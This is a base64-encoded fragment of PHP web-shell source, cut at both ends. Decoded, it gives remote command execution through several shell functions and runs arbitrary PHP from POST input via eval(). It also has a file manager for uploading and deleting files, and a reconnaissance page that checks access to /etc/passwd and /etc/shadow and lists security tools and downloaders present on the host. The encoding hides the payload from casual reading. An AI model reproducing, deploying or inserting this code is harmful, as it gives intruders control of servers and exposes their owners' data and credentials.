V3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChpbnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRjd2RfbGlua3MgLiAnICcuIEJPRkZQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGRm9vdGVyKCkgew0KCSRpc193cml0YWJsZSA9IGlzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSk/IiA8Zm9udCBjb2xvcj0nIzI1ZmYwMCc+KFdyaXRlYWJsZSk8L2ZvbnQ+IjoiIDxmb250IGNvbG9yPWJsYWNrPihOb3Qgd3JpdGFibGUpPC9mb250PiI7DQogICAgZWNobyAiDQo8L2Rpdj4NCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+DQoJPHRyPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCx0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPg0KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnbWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD1cImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9Jyc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+DQoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01Bbic+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+DQoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuICInPg0KCQk8c3Bhbj5VcGxvYWQgZmlsZTo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxiciAgPjwvdGQ+DQoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9keT48L2h0bWw+IjsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsNCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10sICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7DQogICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQoNCmZ1bmN0aW9uIEJPRkZFeCgkaW4pIHsNCgkkb3V0ID0gJyc7DQoJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRpbiwkb3V0KTsNCgkJJG91dCA9IEBqb2luKCJcbiIsJG91dCk7DQoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGluKTsNCgkJJG91dCA9IG9iX2dldF9jbGVhbigpOw0KCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KCQkkb3V0ID0gc2hlbGxfZXhlYygkaW4pOw0KCX0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsNCgkJJG91dCA9ICIiOw0KCQl3aGlsZSghQGZlb2YoJGYpKQ0KCQkJJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsNCgkJcGNsb3NlKCRmKTsNCgl9DQoJcmV0dXJuICRvdXQ7DQp9DQpmdW5jdGlvbiBCT0ZGVmlld1NpemUoJHMpIHsNCglpZigkcyA+PSAxMDczNzQxODI0KQ0KCQlyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7DQoJZWxzZWlmKCRzID49IDEwNDg1NzYpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7DQoJZWxzZWlmKCRzID49IDEwMjQpDQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7DQoJZWxzZQ0KCQlyZXR1cm4gJHMgLiAnIEInOw0KfQ0KDQpmdW5jdGlvbiBCT0ZGUGVybXMoJHApIHsNCglpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQoJZWxzZWlmICgoJHAgJiAweEEwMDApID09IDB4QTAwMCkkaSA9ICdsJzsNCgllbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy0nOw0KCWVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQoJZWxzZWlmICgoJHAgJiAweDQwMDApID09IDB4NDAwMCkkaSA9ICdkJzsNCgllbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2MnOw0KCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQoJZWxzZSAkaSA9ICd1JzsNCgkkaSAuPSAoKCRwICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwNDApID8gKCgkcCAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoJJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncicgOiAnLScpOw0KCSRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDA4KSA/ICgoJHAgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCSRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQoJJGkgLj0gKCgkcCAmIDB4MDAwMSkgPyAoKCRwICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDogKCgkcCAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsNCglyZXR1cm4gJGk7DQp9DQoNCmZ1bmN0aW9uIEJPRkZQZXJtc0NvbG9yKCRmKSB7DQoJaWYgKCFAaXNfcmVhZGFibGUoJGYpKQ0KCQlyZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIEJPRkZQZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7DQoJZWxzZWlmICghQGlzX3dyaXRhYmxlKCRmKSkNCgkJcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gQk9GRlBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCgllbHNlDQoJCXJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gQk9GRlBlcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsNCn0NCg0KaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQoJZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7DQoJCSRkaCAgPSBvcGVuZGlyKCRkaXIpOw0KCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KICAgIAkJJGZpbGVzW10gPSAkZmlsZW5hbWU7DQoJCXJldHVybiAkZmlsZXM7DQoJfQ0KfQ0KDQpmdW5jdGlvbiBCT0ZGV2hpY2goJHApIHsNCgkkcGF0aCA9IEJPRkZFeCgnd2hpY2ggJyAuICRwKTsNCglpZighZW1wdHkoJHBhdGgpKQ0KCQlyZXR1cm4gJHBhdGg7DQoJcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgew0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglmdW5jdGlvbiBCT0ZGU2VjUGFyYW0oJG4sICR2KSB7DQoJCSR2ID0gdHJpbSgkdik7DQoJCWlmKCR2KSB7DQoJCQllY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsNCgkJCWlmKHN0cnBvcygkdiwgIlxuIikgPT09IGZhbHNlKQ0KCQkJCWVjaG8gJHYgLiAnPGJyPic7DQoJCQllbHNlDQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7DQoJCX0NCgl9DQoNCglCT0ZGU2VjUGFyYW0oJ1NlcnZlciBzb2Z0d2FyZScsIEBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2FwYWNoZV9nZXRfbW9kdWxlcycpKQ0KICAgICAgICBCT0ZGU2VjUGFyYW0oJ0xvYWRlZCBBcGFjaGUgbW9kdWxlcycsIGltcGxvZGUoJywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpKTsNCglCT0ZGU2VjUGFyYW0oJ0Rpc2FibGVkIFBIUCBGdW5jdGlvbnMnLCAkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXT8kR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXTonbm9uZScpOw0KCUJPRkZTZWNQYXJhbSgnT3BlbiBiYXNlIGRpcicsIEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7DQoJQk9GRlNlY1BhcmFtKCdTYWZlIG1vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpOw0KCUJPRkZTZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsNCglCT0ZGU2VjUGFyYW0oJ2NVUkwgc3VwcG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQnOidubycpOw0KCSR0ZW1wPWFycmF5KCk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkNCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nZXRfY2xpZW50X2luZm8oKS4iKSI7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpDQoJCSR0ZW1wW10gPSAiTVNTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKQ0KCQkkdGVtcFtdID0gIlBvc3RncmVTUUwiOw0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkNCgkJJHRlbXBbXSA9ICJPcmFjbGUiOw0KCUJPRkZTZWNQYXJhbSgnU3VwcG9ydGVkIGRhdGFiYXNlcycsIGltcGxvZGUoJywgJywgJHRlbXApKTsNCgllY2hvICc8YnI+JzsNCg0KCWlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7DQoJCUJPRkZTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJQk9GRlNlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiZXRjXCIsIFwic2hhZG93XCIpJz5bdmlld108L2E+Ijonbm8nKTsNCgkJQk9GRlNlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOw0KCQlCT0ZGU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOw0KCQlpZighJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7DQogICAgICAgICAgICAkdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCcsJ2J6aXAnLCdiemlwMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsNCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvYmxhY2snLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdjbGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycsJ3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3NlYycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25pbmphJyk7DQogICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dldCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJyb3InKTsNCgkJCWVjaG8gJzxicj4nOw0KCQkJJHRlbXA9YXJyYXkoKTsNCgkJCWZvcmVhY2ggKCR1c2VyZnVsIGFzICRpdGVtKQ0KCQkJCWlmKEJPRkZXaGljaCgkaXRlbSkpDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsNCgkJCUJPRkZTZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KCQkJJHRlbXA9YXJyYXkoKTsNCgkJCWZvcmVhY2ggKCRkYW5nZXIgYXMgJGl0ZW0pDQoJCQkJaWYoQk9GRldoaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw0KCQkJQk9GRlNlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsNCgkJCSR0ZW1wPWFycmF5KCk7DQoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pDQoJCQkJaWYoQk9GRldoaWNoKCRpdGVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOw0KCQkJQk9GRlNlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOw0KCQkJZWNobyAnPGJyLz4nOw0KICAgICAgICAgICAgQk9GRlNlY1BhcmFtKCdIREQgc3BhY2UnLCBCT0ZGRXgoJ2RmIC1oJykpOw0KCQkJQk9GRlNlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCUJPRkZTZWNQYXJhbSgnT1MgVmVyc2lvbicsQk9GRkV4KCd2ZXInKSk7DQoJCUJPRkZTZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsQk9GRkV4KCduZXQgYWNjb3VudHMnKSk7DQoJCUJPRkZTZWNQYXJhbSgnVXNlciBBY2NvdW50cycsQk9GRkV4KCduZXQgdXNlcicpKTsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsNCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIiAuIGFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpLCAiXG5cclx0XFwnXDAiKSAuICInO1xuIjsNCgkJZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQoJQk9GRkhlYWRlcigpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7DQoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOw0KCQlvYl9zdGFydCgpOw0KCQlwaHBpbmZvKCk7DQoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiAgICAgICAgJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchdGQsIHRoIHsoLiopfSFtc2lVJywnLmUsIC52LCAuaCwgLmggdGggeyQxfScsJHRtcCk7DQoJCWVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7DQoJfQ0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA9IGZhbHNlOw0KICAgIGVjaG8gJzxoMT5FeGVjdXRpb24gUEhQLWNvZGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJpZih0aGlzLmFqYXguY2hlY2tlZCl7YShcJ1BocFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlKTt9ZWxzZXtnKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUsXCdcJyk7fXJldHVybiBmYWxzZTsiPjx0ZXh0YXJlYSBuYW1lPWNvZGUgY2xhc3M9YmlnYXJlYSBpZD1QaHBDb2RlPicuKCFlbXB0eSgkX1BPU1RbJ3AxJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKTonJykuJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij4nOw0KCWVjaG8gJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCgl9DQoJZWNobyAnPC9wcmU+PC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkgew0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCgkJCWNhc2UgJ3VwbG9hZEZpbGUnOg0KCQkJCWlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQ0KCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnbWtkaXInOg0KCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkNCgkJCQkJZWNobyAiQ2FuJ3QgY3JlYXRlIG5ldyBkaXIiOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAnZGVsZXRlJzoNCgkJCQlmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsNCgkJCQkJJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsNCgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOw0KCQkJCQl3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KCQkJCQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsNCgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQ0KCQkJCQkJCWNvbnRpbnVlOw0KCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7DQoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpDQoJCQkJCQkJZGVsZXRlRGlyKCRpdGVtKTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsNCgkJCQkJfQ0KCQkJCQljbG9zZWRpcigkZGgpOw0KCQkJCQlAcm1kaXIoJHBhdGgpOw0KCQkJCX0NCgkJCQlpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkJaWYoaXNfZGlyKCRmKSkNCgkJCQkJCQlkZWxldGVEaXIoJGYpOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGYpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwYXN0ZSc6DQoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsNCgkJCQkJZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpDQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsNCgkJCQkJfQ0KCQkJCQlmb3JlYWNoKCRfU0V